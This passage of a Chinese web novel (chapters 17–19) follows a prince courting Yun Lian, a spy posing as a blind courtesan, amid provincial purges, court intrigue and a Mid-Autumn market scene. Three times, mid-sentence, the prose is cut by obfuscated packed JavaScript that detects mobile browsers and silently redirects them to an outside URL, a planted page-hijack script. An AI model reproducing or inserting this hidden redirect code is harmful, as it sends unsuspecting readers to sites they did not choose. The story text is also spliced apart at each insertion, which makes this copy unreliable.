当他又听闻刚才急匆匆跑到地字号房间外,不停哄云姑娘开门的男子是当今圣上的二儿子——尊贵的二皇子后,更是无措。 “哎呦,小本买卖,何时见过这么多尊大佛。”掌柜急得原地转圈,随后高声吩咐,“快给殿下备水洗漱。再叫后厨采买些新鲜菜肉蔬果,速速给殿下备膳!” 小二却拉住掌柜,指了指在楼上哄云潋的燕绥之,低声说道:“堂堂皇子,什么山珍海味没吃过,咱们这乡野厨子做的寻常饭菜,如何能入得了殿下的眼。” 掌柜本就慌张,被小二一说,越发焦急:“那可如何是好?” 小二神情镇静,低声说:“云姑娘为了给她夫君接风洗尘,一大早就带着婢女在后厨忙活。现下他们二人吵架,殿下没有台阶下,若是他能知晓云姑娘的心意,定会感动欢喜。届时您用云姑娘备下的酒菜招待,也不会出错。等殿下带着云姑娘搬回府邸居住,咱们客栈还能落得个招待过皇子的美名。岂不两全其美?” 掌柜看着眼前这个脑袋灵活的清俊小二,他衣衫整洁,招待客人时也总是笑容满面,为客栈招揽下不少熟客。除了家境稍逊常人,似乎并无其他缺陷。 掌柜家中只有一女,如珠如宝的养大,正逢婚龄,不少人觊觎他家丰厚的资产,托媒婆主动上门提亲。可因为那些人大多怀着吃绝户的心思来试探,他始终没敢将女儿嫁出去。 女儿又不甘于蹉跎于内宅,总想在他百年之后,接下客栈的生意。可她一个未出阁的女子,不好在鱼龙混在的客栈迎来送往,他便一直没让她出来经营客栈。 现下掌柜两次被小二帮助,对他越发欣赏,想着若能有这样一位青年,能帮衬生意,人品又好,若是入赘到他家中,既能帮他绵延香火,又能帮着女儿经营客栈,所有困境便都迎刃而解。 “掌柜?”小二以为自己的提议并未被掌柜接纳,赶忙转换口气,“若是掌柜觉得不妥,我马上去街上采买新鲜菜肉。” 掌柜回神,拍了拍小二的肩膀,低声叮嘱:“刚才的提议甚好,我马上去回禀二殿下。” 小二见掌柜接受他的提议,腼腆一笑。 掌柜朝大堂走了两步,回身问道:“小霍,明日随我回家吃顿饭吧。” 小二连连推辞:“怎敢去您府中叨扰,我回家陪母亲吃就好。” 掌柜温柔笑笑:“那就带令慈一起来,彼此多熟悉一下,更好。” 小二尚且发懵,身旁的厨子乐呵呵地提点他:“你小子,有福了!” 17. 第 17 章 当燕绥之听说云潋为给他做接风宴从一大早就忙碌不停,心中愧疚感更深。 待掌柜离开,燕绥之再次放低姿态,耐心解释:“云儿,我并非有意欺瞒。只是将宁州官吏一网打尽之事兹事体大,你我身边又都是眼线,我怕走漏风声,将你卷入其中,反倒误伤了你。绝非是不信任,抑或是防着你。可让你不快,让你担忧,终究是我思虑不周。你莫要再哭,仔细伤了眼睛。” 云潋眼见时机已到,微微颔首,示意静梅将门打开,放燕绥之进来。 正酝酿着该如何继续哄云潋消气的燕绥之见房门微动,不等静梅将门完全打开,立刻拔腿进门,三步并作两步凑到床榻边,握住云潋的手。 见她双眼通红,燕绥之心疼极了,扯着云潋的手拍他胸膛。 “是我不好,你打我骂我都行,千万别憋在心里。” 云潋却冷漠地抽回手,别过头去,下一瞬泪水决堤,她用手帕捂着脸,呜咽着哀求:“殿下,求您放我走吧。” 燕绥之心脏酸疼,苦苦挽留:“昨日你我夫妻相称,你甚至想为我孕育子嗣,怎么短短一日你便改了主意?难道就因为我是皇子,你就要狠心舍弃我吗?” 云潋闭口不答,燕绥之却步步紧逼,“云潋,难道你当真对我没有半分情意?” 燕绥之紧紧抓着云潋的肩膀,强迫她面对他的诘问,云潋眼泪流的更凶,许久后情绪才平复一些,提起气力回话。 “殿下,您是天潢贵胄,我是盲妓出身,你我之间岂止是云泥之别,实乃鸿沟天堑。妾虽远在宁州,久居内院,亦听闻过您的贤名。若妾是一个寻常人家的女子,也许会舍下脸面求您收容,追随您做个女婢,便心满意足。可妾出身实在不堪,又是个瞎子,若常伴殿下左右,只怕会玷污殿下名声,让殿下烦忧。妾不想成为您的累赘,更不想在未来的某一日突然发现您已经彻底厌弃我,若果真如此,只怕比杀了我还让我难受。” 燕绥之垂下眼眸,默不作声。 云潋眼见燕绥之冷静下来,立刻从床榻上起身,退后一步,双膝跪地,磕头行礼。 “妾能有幸与殿下相识一场,已是万分荣幸,实在不敢奢望更多。”云潋神情凄惶,“山高水远,望君珍重。” 燕绥之俯视着跪伏在他面前的云潋,心中痛苦万分,他是第一次对一个女子动心,自然不愿轻易放手。 可宫中情况复杂,寻常贵女有家族倚仗,被经年累月的精心教养,嫁入深宫都过得如履薄冰,日日小心谨慎。 云潋孤身一人,目不能视,在波谲云诡的深宫之中,又该如何自处呢? 他虽能精心护着她,可面对源源不断的陷害、攻讦、暗杀,一次次的险象环生,届时她会不会后悔为他铤而走险,跟随他来到那吃人不吐骨头的腌臜之地呢? 也许放她离开,才是对她最好的归宿。 燕绥之搭在膝上的手渐渐握紧,纵有万般不舍,可他终究是松了口:“云潋,孤......放你走。” 云潋紧闭双眼,缓缓叩首:“云潋谢过二殿下。” 站在二楼目送云潋主仆离开时,燕绥之一直在默默期盼,盼望着云潋肯回头。 只要她肯留下,哪怕前路艰险,他也愿意为她搏一搏,让她光明正大、名正言顺的随他回到京都。 可云潋却从未回头,直到云潋走出客栈大门,燕绥之眼中最后一丝光亮也彻底熄灭。 夜半时分,忙碌一整日的裴舟望才从府衙回来,刚一进客栈,就看见燕绥之坐在楼下喝闷酒。 现下他饥肠辘辘,见桌上摆满云潋备下的酒菜,十分自然的坐在燕绥之对面的椅子上。 裴舟望从竹筒中找出一双干净筷子,刚想伸出去夹菜,却被燕绥之用筷子挡住。 向来与他不分彼此的堂弟如今却连口菜都不分给他,裴舟望不可置信道:“不会吧殿下,这么小气?” “这是云儿给孤备下的接风宴。”燕绥之情绪低落,“让后厨给你做新菜。” 裴舟望只好悻悻收回筷子,见燕绥之心情不佳,没有告诉堂弟,其实早膳时他就已经尝过云潋做的鸡汤,比他更早解过云潋的高超厨艺。 “殿下何故在此借酒浇愁?” 燕绥之沉默良久,又灌下一杯烈酒。 “孤还是第一次对一个女子动心,本以为势在必得,能得佳人长久相伴。可到头来,满心欢喜却成了空,她根本不想留在孤身边。” 裴舟望却不想让燕绥之继续沉溺情爱,轻声规劝:“殿下,您今日在宁州闹出这般动静,来日我一封奏章传回京都,只怕人人都要猜测您有争权夺利之心。殿下是否会怪罪您行事张扬,将全部官员收押太过极端冒进;皇后娘娘是否会揣测您有夺嫡生乱之心;朝中局势又将何去何从。来日的腥风血雨,件件桩桩,哪一件不比一个盲女离开您重要?” 比起裴舟望的担忧,燕绥之却十分坦然。 “自姑祖母出嫁,回京探亲已不下十次。往年即使父皇想迎大长公主回京,至多从裴氏一族的青年才俊中选上十几个靠谱的随行。一来让他们有机会在显贵们面前多多露脸;二来公主鸾驾无人敢劫,实在不必太过兴师动众。可今年父皇却提前半年打发孤来贺州相迎,将你指派到宁州做巡察御史,岂不太凑巧了些?” 裴舟望面露震惊,可稍稍平复心绪后,缓缓开口:“殿下年方十七,太子在您这个年纪早已妻妾成群,可您始终孤身一人。伊珞她比您小一岁,自小又喜欢围在您身边打转,陛下和贵妃有意撮合您二人成婚,亲上加亲,这才命您早些过来,与她多相处几日,培养感情,也说得通。” 燕绥之却摇头苦笑:“若陛下有意让孤迎娶你的嫡妹,早就将她召回京都,或是放在母妃身边教养,如何会等到适婚年纪再做打算。从一开始,父皇将我打发到贺州,便早就做了筹划。临行前他特意叮嘱孤,到贺州前先来宁州将官凭转交给你,又提前一年让孤熟悉宁州、贺州等地的政务。如今细细思索,一切皆有迹可循。你与我,不过是这棋盘上的棋子。一步步,皆在父皇的计划中,谁也挣不脱。” 裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156596|180583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舟望不语,只是有些可惜妹妹的一腔真心错付,只怕到头来终究难以成真。 他初入官场两年,虽虚长燕绥之两岁,可对于朝中局势变换、君心所向,却终究没有他那般敏锐透彻。 梳洗过后的燕绥之穿着一身新衣,这衣裳还是云潋昨日送进牢狱里给他备选的衣衫,衣服针脚细密,尺寸合身,一看便知云潋费了不少心思。 现下他摩梭着衣袖,仔细给裴舟望分析利弊:“宁州势力盘根错节,往年那些毫无根基的巡察御史如何敢上疏直言,又如何能将这群地头蛇连根拔起。所以,想要彻底整肃宁州官场,只能由孤这个皇子坐镇,辅以丞相之子挑头上奏,才能威慑与宁州官员们相互勾连的京官。毕竟,纵使那群京官再大胆,也不敢明着找孤和裴大公子的麻烦。” 裴舟望心中郁结,仰头喝下,“借刀杀人,好计谋。” 见燕绥之神情淡淡,裴舟望轻声问:“宁州富庶,每年宁州官员给京官们的孝敬就够他们受用终生,您断了他们的财路,定会被百官视为眼中钉,肉中刺。来日在朝中只怕会举步维艰,虽然整顿宁州官场的确需要致命一击,可让你以身入局,是否太过......” 燕绥之冷笑一声,将盛着鸡汤的白瓷盅打开,鸡汤冷却,鸡油在上层凝结成一层细密的油霜,宛若他早就冰冷且刀枪不入的心。 “孤是皇子,受万民供养,自当为国尽忠,为民效力。这件事父皇自有考量,孤自然要顺从君心,为父皇拔除祸根。” 裴舟望举起酒杯,和燕绥之碰杯,笑道:“说得对,既然已经拉开架势,再无回头路可走,那不如殿下与我合力大干一场,起码为宁州百姓做些实事。” 云潋离开客栈后,在临街租下一个小院,又让静梅请了两个婆子将屋子打扫一番,直到深夜才勉强收拾妥当。 静梅端着从街上买来的热馄饨和饼子,唤云潋前来用晚膳。 见云潋吃得香,似乎毫无心事,静梅不由得担忧道:“小姐,您不是想追随二殿下回京都吗?为何他已经接纳你,你又闹着离开呢?如此一来,咱们先前的努力岂不全都前功尽弃了?” 云潋吃下最后一颗馄饨,擦干净唇角,又端起茶盏不紧不慢地喝了几口热茶。 静梅见云潋这般闲适,反倒越发焦急,追问道:“小姐,奴婢事事都听您的吩咐,可有时候您行事太过跳脱,我实在是不知缘由,生怕跟不上您的思绪,演错戏,说错话。您就大发慈悲,将后面的计划与我分享一下吧!我也好做到心中有数,不必时刻担忧。” 云潋见静梅急得满头大汗,连晚膳都吃不下去,缓缓启唇:“你看,你越想知道答案,对我的想法越好奇,你就变得越急迫,越沉不住气。感情也是如此,先沉沦的那个,便失去了主动权,变成了热锅上的蚂蚁,被对方牵着鼻子走,被人予取予求。” 静梅不曾与人谈情说爱过,自然不懂男女之间的博弈,茫然地摇头,“小姐,您把我说糊涂了。奴婢不知这些弯弯绕绕,奴婢只想知道,您到底打算怎么回到二殿下身边?” 18. 第 18 章 云潋轻轻招手,示意静梅附耳过来。 静梅照做,待云潋在她耳边低语几句,她吓得睁大双眼,惊慌的声音打颤。 “小姐,您这般挑衅主子,就不怕他来日找您算账?据奴婢所知,和主子作对的人,从没有过好下场。奴婢知道您武艺高强、机智过人,可这般釜底抽薪、铤而走险之事,一旦失败,后果不堪设想。” 云潋静静望着满脸惊慌的静梅,第一次与她开诚布公。 “你已经十七岁,如果一个月后我回到主子身边,你再次被抓回别院,只怕就要被压着接客了。别院的姐妹们是什么下场,归宿如何,你心中一清二楚。” 静梅脸色苍白,双眼通红,她知道,姜大人说得没错。 这次别院安插在宁州官员后院的暗桩全部被连根拔除,那些姐妹们便再无利用价值,唯有一死,才能永绝后患。 如今别院正是用人之际,她姿色不俗,又在别院多年,也算知根知底,陈妈妈定不会放过她。 一旦回到别院,她只怕就要步那些姐妹后尘。 届时无非两种结局,一是成为陈妈妈安插某些官员富商身边的眼线;二是成为别院中一个任人欺凌的妓子,直到失去利用价值,悲惨死去。 这两种结局,哪一种都让她无法接受。 见静梅身形不稳,云潋搀扶她落座。 “静梅,其实我接到的新任务并不是留在燕绥之身边。” 静梅惊慌失措,战战兢兢道:“那......那若是让主子知道你违抗命令,你我岂不都要受罚?” “你不必担忧,我已经替你寻了一条后路。”云潋从袖中掏出一个瓷瓶,一张户籍文书,以及五张百两银票,“这是鸢尾之毒的解药和一个全新的身份。你服了药,就不必再受陈妈妈控制。有了新身份和钱银,你便可以开始新的生活。从此天高海阔,你可以自由翱翔。” 静梅握着瓷瓶,泪流满面,久久难以平复情绪。 鸢尾之毒,狠辣非常,从进入组织之日起,每月必须按时服用解药,否则便会受钻心蚀骨之痛,若仍不能及时服用解药,七日后便会七窍流血而亡。 这是组织控制属下的手段,也是他们无法挣脱束缚,必须言听计从的原因。 静梅初入别院时,也曾看到过一位姐姐不堪日夜受辱,和心上人私奔离开,最后却因未按时服用解药惨死途中。 陈妈妈对手下人出逃之事大发雷霆,命人抬回那位姐姐的尸首,当众展示给别院中剩余的姐妹看。 她仍记得那日陈妈妈摇着团扇,游走在战战兢兢的姐妹们身边,强迫她们睁开眼睛看向那恐怖的尸身,笑得残忍。 “记住,这就是背叛组织的下场。”陈妈妈见众人瑟缩着,仍不知足,对着身边的仆从吩咐道,“将她扔进乱葬岗,那个姘头,一并解决掉。” 三言两语,便随意决定了两个人的生死结局。 那时静梅便知,入了别院,此生再无离开的可能。 如今攥着瓷瓶,静梅反复确认:“鸢尾之毒,当真可解?” 云潋点头,语气笃定:“我也是试验过很多次才研究出解药,若药有问题,我如何能安然无恙的站在你面前?” 静梅伺候真云潋多年,待她死后,才被安排在姜大人身边,辅助姜大人完成任务。 虽然她们认识的时间不长,可她的直觉告诉她,姜大人是可以信赖的。 静梅不再犹豫,打开瓷瓶,将瓶中的解药倒入嘴中。 云潋赶紧给静梅倒了杯茶水,助她顺利咽下解药,随后将手中的户籍文书递到她手中,轻声叮嘱:“刚才你出门买东西时,我已经将门外的两个尾巴清理了,现下十分安全,趁着下一批暗卫赶来之前,你赶紧离开吧。” 静梅却犹豫起来,她攥着云潋的手,追问道:“放我走,您怎么办?” 云潋笑着宽慰:“我有必须要做的事情,还不能抽身离开。你无需管我,快走吧。” 静梅心中不忍,反手将云潋的手包住,似是下定决心,坚定道:“从今日起,您就是我的小姐。您去哪儿,我随您去哪儿,寸步不离,生死相随。” 云潋却不想拉静梅下水,劝慰道:“我要做的事情危险重重,稍有不慎,便不得善终。你既然有退路,就不必随我冒险。听话,去过你的安生日子吧,别再来漩涡中浮沉了。” 静梅却突然跪地不起,满眼坚定,“小姐,静梅虽然愚钝,也不似您那般有大志向、大能耐。可静梅却也有傲骨,知恩图报。若我骤然消失,您扮作盲女,定是处处不便。届时重回二殿下身边,亦是处处掣肘。我已经没有家人,也无处可去,就当是可怜我,您别再赶我走了,好吗?” 云潋犹豫片刻,终究是没在拒绝,她搀扶着静梅起身,郑重承诺:“有你在,我行事时定会慎之又慎,尽量不牵连到你。” 静梅却笑得开怀,全然不在意前路的险阻。 “小姐,我信您。” 自从燕绥之与裴舟望坐镇宁州府衙,便整日忙个不停。 裴舟望一封奏章更是在京都激起千层浪。 听闻,收到奏章后的陛下震怒,在朝堂上严厉申斥百官,更是立即下旨,命二皇子燕绥之坐镇宁州,全权处理宁州政务。 燕绥之接过圣旨,前来宣旨的大太监郑公公立刻谄媚地上前搀扶燕绥之,满脸堆笑。 “老奴临行前,陛下特意叮嘱过,二殿下自小便不喜炎热天气,可偏偏宁州湿热,分外难挨,因而陛下特遣太医院的周、吴两位太医前来照顾殿下,为您调养身体。” 两位太医背着药箱,恭敬朝燕绥之行礼。 燕绥之一改刚才的平静神情,故作感动地朝郑公公说道:“父皇心细如发,儿臣感激不尽。” 郑公公混迹宫中多年,最擅察言观色,他将燕绥之的激动神情看在眼里,来日回到京都,若是陛下问起,才好知晓如何回禀。 “陛下还命老奴给殿下带话,殿下还须劳逸结合,莫要一味的埋头苦干、废寝忘食。多多保重身体,免得陛下和贵妃娘娘忧心。” 见郑公公提及母妃,燕绥之神情越发放松,对郑公公道谢:“多谢公公带话。” 郑公公见堂前摆满账册,赶忙告辞:“殿下公务繁忙,奴才就不多叨扰了。” 燕绥之顺水推舟,“楚执,你去送郑公公。” “是。”楚执上前半步,引着郑公公离开。 送郑公公上了马车,楚执从袖中掏出一个素色锦囊,塞进郑公公手中,“公公刚到宁州,又急着回去复命,舟车劳顿实在是辛苦了。” 郑公公握着沉甸甸的锦囊,并未推辞,离开前留下一句:“殿下在宁州立下大功,君心甚慰呀。” 楚执听出弦外之音,笑着拱手道谢:“谢过郑公公。” 马车逐渐行进,郑公公随手将锦囊塞进袖子,接过身旁小太监递来的湿帕子,擦了擦额间汗水。 小太监拼命给郑公公扇着扇子,好奇问道:“干爹,宁州距离京都有千里之遥,您何苦亲自跑这一趟呢?” 郑公公是真心将这个干儿子当接班人培养,才肯倾囊相授:“宣旨一事可大可小,选个小太监跑一趟也能交差。可能在二殿下面前露脸的机会,却实在难得。” 小太监试探道:“干爹的意思是,咱们这位二殿下,未来不止于此?” 郑公公笑着啜饮一口凉茶,徐徐道来:“咱们陛下一共有十三位皇子,除了太子,只有这位二殿下,五岁封王,有自己的封地;十五岁入朝听政,十七岁奉旨坐镇一方。此等殊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156597|180583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荣,哪位皇子可与之比拟?” 小太监将手中的扇子摇的愈发快,“荣贵妃盛宠多年,母家权势滔天,陛下爱屋及乌,也是正常。” “你呀,还是嫩了些。”郑公公摇头,叹息道,“五国相争多年,却始终没有哪个国家能一统江山。咱们陛下这些年韬光养晦、暗中布局,早有决心问鼎天下。可打江山容易,守江山难。多少国家,二代而亡。因此,大皇子虽一出生便立为太子,可陛下却从未放弃过培养其他皇子。咱家在陛下身边多年,也暗中观察许久,十三位皇子中,只有这位,文韬武略、智勇双全,气度脾性最肖陛下。” 小太监忙不迭点头,笑容越发深,望着郑公公的眼睛中有藏不住的敬仰之情。 “还是干爹眼界高,儿子受教了。” 郑公公面不改色,闭着眼,许久后才缓缓吐出一句:“未来,可有的争了。” 刘芳推着小车在前面走着,身后跟着一大一小两个孩子帮着推车,小车上装满各色花灯,以及云潋带着静梅做的手工月饼。 静梅搀扶着云潋,小心躲避着拥挤的人群。 今日是中秋节,河岸两边早早摆满摊位,刘芳和静梅好说歹说,才让两边的摊贩帮着匀了个狭小的位置,将小车摆进去。 旁边卖头花的婶子小声跟老伴儿嘀咕:“想做生意,不知道早些出来。要不是看在盲女和孩子讨生活不易,谁让着你们。” 静梅十分会有眼色,见两个摊主面色不虞,赶紧用油纸包了两包月饼分别送给两边的摊主,两位摊主尝了月饼,发现味道极佳,脸色才和缓些。 见静梅刘芳她们几个就那么傻站着,连叫卖揽客都不会,生意红火的婶子皱着眉,絮絮叨叨:“都傻站着干什么?不揽客、不叫卖,来扮作木头桩子吗?” 刘芳和静梅起初还有些不好意思开口,在婶子严厉的教导下,终于开了第一单,卖出去一份儿蛋黄月饼。 静梅第一次当老板,觉得新鲜,捧着几个铜盘放在云潋手心,欢喜道:“小姐,您说切开月饼给他们试吃的主意真好,大家尝了都赞不绝口。这钱您收着,今晚奴婢肯定把月饼卖光!” 云潋见静梅有些得意忘形,低声叮嘱:“别忘了正事。” 静梅这才镇静下来,仔细观察着周围的情况,“是小姐,奴婢记住了。” 云潋今日本就不是为了售卖花灯和月饼才出来摆摊,她安插在府衙的眼线回禀,燕绥之今晚要巡视夜市,在中秋佳节与民同乐。 燕绥之最近将宁州的那些苛捐杂税一一取消,还承诺三年内取消市肆门摊税,鼓励百姓自产自销,借此避免商行多年来的垄断行为,让百姓能最大程度获利。 刘芳就是听说村里许多人都尝到摆摊的甜头,才动了外出摆摊的心思。 据同村的婶娘说,往年因那些富商与官府勾结,不准他们私自摆摊售卖,他丈夫辛辛苦苦猎来的狐狸皮、兔子皮,只能贱卖给商行,换取微薄的收入维持生活。 可如今政策大改,她们老两口学着旁人在街上摆个摊位,不仅没有官员闹事索贿,还有专人帮着协调位置,教他们如何合理定价。 十几日下来,大家的收入翻了三倍不止,家中不再需要紧巴巴的过活,还能偶尔吃上几回肉,存下些积蓄,日子也越过越有盼头。 百姓获利,日子欣欣向荣,燕绥之在宁州的声望愈高。 刘芳和静梅在摊位前卖得热火朝天,云潋却越发心焦。 她和燕绥之已有数日未见,虽然她依旧能察觉到燕绥之的暗卫在她宅子外徘徊,借此知晓他并未完全放弃她,可感情之事,不能沉淀太久,终归要偶尔接触几次,才能让情意绵长。 静梅远远看见燕绥之与裴舟望在岸边巡视,低声唤道:“小姐,来了!” 19. 第 19 章 连续数日的辛勤工作,让燕绥之和裴舟望都清瘦不少,身材显得愈发颀长,盈盈灯火下,衬得他二人越发气质出尘。 巡视夜市的路上,有不少女子追在他们身后悄悄打量,不时与同伴窃窃私语,发出阵阵欢快的低笑声。 燕绥之望着眼前的万千灯火,耳边充斥着喧闹人声,他却显得有几分心不在焉。 只因他晚膳前他听到属下回禀,云潋和王大勇的夫人刘芳在河岸边贩卖花灯和月饼。 一路上他的左右张望,急切想找到云潋的踪迹。 沈烁不解,轻声询问:“殿下,您在找什么?要属下帮您一起吗?” 燕绥之被沈烁戳穿心思,颇为不自在,轻咳一声,故作轻松道:“孤不过是随便看看这万家灯火。” 裴舟望转头打趣燕绥之,“他呀,从刚才就坐立不安,好像椅子上有钉子似的。晚膳都不用,就急匆匆赶来巡查夜市。真不知这里有什么精怪狐媚,勾的他心神不定,忐忑不安。” 燕绥之却佯装镇静,回击道:“堂兄莫要打趣孤,孤只是见宁州百姓安居乐业,心中欢喜罢了。” 楚执这些天看着燕绥之日夜承受相思之苦,寝食难安,甚是心疼,今日试探着将云姑娘的最新消息禀告给主子,果然他就迫不及待想来见她。 看来,在公子心中,云姑娘的分量比想象中重太多。 “哦?”裴舟望远远看见云潋正端着托盘站在小摊前,笑脸盈盈地唤路人品尝月饼,“既然如此,咱们也巡视得差不多了,就打道回府吧。” 燕绥之顺着裴舟望的视线望去,果然看到被众人围在中央的云潋。 半月不见,她瘦了许多。 遥遥一见,燕绥之便轻易乱了心神。 强行压抑住的思念瞬间决堤,让他脚步生根,再无半分轻松之态。 人群逐渐将云潋团团围住,不时有几个调皮的孩子去拽她的衣袖,想将她手中的托盘拉低,去抓托盘上切好的试吃月饼。 “快给我吃!” “你弯腰呀,给我尝尝!” 渐渐的,众人越发放肆,云潋的发丝被调皮的男孩儿扯着,痛的直吸气,发出微弱地哀求声:“松开吧,排着队,一个个来。” 云潋被人群推搡,又被孩子们拽来拽去,身形不稳,手中的托盘险些随着她向前倾倒的方向一同摔下去。 电光石火间,燕绥之冲破人群,一手拦住云潋的纤细腰肢,一手稳住她手中的托盘,焦急问道:“没伤到吧?” 沈烁最先反应过来,追过来厉声呵斥那些没轻重的孩子,以及不会管教孩子的父母。 “哄抢什么,懂不懂规矩!” 孩子父母有些愤愤不平,想要理论,可看到沈烁人高马大,身带佩剑,一副不好惹的模样,只好悻悻离开。 离开时有个汉子忍不住抱怨:“舍不得给,就别打着免费试吃的噱头招摇,真晦气!” 被汉子牵着的孩子见父亲给他撑腰,转头扮个鬼脸,幸灾乐祸道:“穷瞎子,摔死你!你等着,早晚掀了你的摊子。” 静梅刚才在摊子上接待客人,包装月饼,现下听到孩子这般羞辱云潋,怒气冲冲地冲上前,叉着腰骂道:“胡说什么呢,浑小子,我撕烂你的嘴!” 燕绥之满脸怒容,刚要发怒,在一旁观望许久的裴舟望上前按住他的手臂,笑着吩咐听枫:“孩子不懂规矩,必是缺少教养。听枫,现下宁州大兴义学,正愁生源不足,将这对儿父子送进去好好教育,等什么时候学会了礼义廉耻、尊老爱幼、扶倾济弱,再一并放出来。” “是,裴大人。” 听枫拱手行礼,转头拉着汉子离开。 汉子一听听枫称呼裴舟望为裴大人,霎时脸色一白,刚想领着孩子磕头道歉,却没得到机会,被侍卫强行驱离,由听枫带着他们朝义学堂方向走去。 如此不知礼数,心思歹毒之人,却只是送进义学教育,燕绥之犹嫌不足。 裴舟望生怕燕绥之闹事,赶紧将话题引到云潋身上,望着木托盘中散落在各处的月饼,饶有兴趣道:“云姑娘这是在卖什么?” 云潋依旧被燕绥之强势的护在怀中,她羞红着脸,尝试挣脱桎梏。 察觉怀中人轻轻挪动身躯,燕绥之低头看向云潋,见她双颊绯红,这才意识到大庭广众之下,这般搂抱在一处的姿势实在不妥,赶紧松开搭在云潋腰间的手,礼貌的后退半步。 随后,燕绥之真挚致歉:“情况紧急,唐突姑娘,望姑娘见谅。” 燕绥之刚松开手,静梅赶紧上前将云潋揽进怀中,牢牢护住,望向燕绥之的眼神都透露着几分戒备。 “刚才多谢殿下搭救。”云潋声音极轻,似是想到什么,又将手中的托盘拖高些,回答裴舟望的问题,“今日中秋佳节,我和静梅做了些月饼。裴大人若不嫌弃,可愿一试?” 燕绥之急着来偶遇云潋,匆忙拉着他出门,让他在这个阖家团圆的日子,连晚膳都没得吃。现下裴舟望早已饥肠辘辘,自然却之不恭。 “那裴某就不客气了。” 裴舟望从木盘中捏起一块儿月饼放入口中,粘腻香甜,油香醇厚,甜味让裴舟望心情大好,毫不遮掩对云潋厨艺的赞叹。 “好手艺!快,多给我包几块儿,我留着夜里垫肚子。” 裴舟望身边的另一位侍从听墨赶忙上前,递给摊位中的刘芳一锭银子,叮嘱道:“多包些,这些,还有这些,都要了。” 小本买卖,如何找得开这么大数额的银子,刘芳一边匆忙包月饼,一边赶紧对着摊位外的云潋喊话:“云姑娘,这银子找不开呀。” 云潋将手中的托盘递给静梅,对着裴舟望连连摆手。 “几个月饼,不值什么钱。裴大人不必如此破费,权当是小女借此对您聊表谢意,感激裴大人替宁州百姓伸张正义。现下大家的日子过得红红火火,大人实在功不可没。” 裴舟望为官两载,不曾收百姓一针一线,自然不会在云潋这里破例,他用眼神示意听墨务必给钱,不可动摇。 “上次云尝了云姑娘送来的鸡汤,还没来得及道谢。今日又有幸尝到姑娘做的月饼,甚是合我口味。裴某有心支持姑娘的生意,姑娘不会不给在下这个面子吧?” 云潋见裴舟望如此坚持,心生一计,笑着说道:“那云潋多谢裴大人支持。不过生意人讲究的是诚信经营,这钱我便先收下,剩下的钱,改日我给大人送些其他吃食尝尝,可好?” 裴舟望笑着点头,语气都轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175379|180583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快不少:“甚好。我尝到美味珍馐,姑娘日进斗金,双赢。” 云潋笑得温柔,燕绥之却捏紧双拳,从裴舟望提及鸡汤一事,他便心中发酸,现下见云潋和堂兄相谈甚欢,而他则被冷落在外,更是心头发堵。 燕绥之一开口,便直冒酸气,“孤怎不知,你们二人如此熟络?” 云潋听到这话,笑容瞬间收敛,垂首不语,捏了捏静梅搀扶她的手,示意她扶着她回摊位。 主仆二人刚一转身,燕绥之便下意识想去抓云潋衣袖。 裴舟望见他二人之间气氛不佳,有不少百姓朝这边张望,赶紧拉住燕绥之想要拉扯云潋的动作,笑着打圆场:“咱们站在此处,挡着云姑娘她们做生意了。殿下,时候不早了,还是先回府吧。” 燕绥之被裴舟望强行拉着离开,云潋坐在摊位内的矮凳上,神情晦暗不明。 远离人群喧嚣,坐在回御史府邸的马车上,燕绥之实在忍不住轻声质问:“堂兄,你何时尝过她做的鸡汤?又为何与她这般熟稔?” 裴舟望轻叹口气,徐徐解释:“那日她去狱中探望你,回来后被刘良才派来的仆从围剿,想抓她回去伺候,她想为你守节,誓死不从。暗卫救下她后,我怕再生事端,便包下客栈。她知道我收容她,为表谢意,将给你准备的鸡汤分我一盅。后来在大堂外,她被人出言羞辱,我出面维护两句,这才有些交集。” 燕绥之紧抿着唇,片刻后,他厉声吩咐:“停下!” 不等马车停稳,燕绥之立刻起身下了马车,朝着来时的方向跑去。 夜色渐浓,街边的人群渐渐散去,燕绥之逆着人群跑着,可云潋和刘芳她们早就不在原地。 没能见到云潋,燕绥之心神不安,站在桥上远眺,搜寻着云潋的踪迹。 无数河灯顺水而下,燕绥之终于在河岸上游看到蹲在岸边放河灯的云潋。 在静梅的指引下,云潋将一盏河灯放进水中,她虔诚的合十双手,口中喃喃自语。 燕绥之迈着急切的步子走下石阶,在云潋身后站定,只听得云潋低声许愿:“愿他身体康健,百岁无忧。” 静梅点燃另一盏莲花河灯,放在云潋手中,云潋缓缓伸手,将河灯放进水中,再次虔诚许愿:“愿他鹏程万里,兰桂齐芳。” 云潋一连放了好几个河灯,口中的祝福从未重样,直到她再次伸手,可静梅却可惜地说:“小姐,都放完了。” 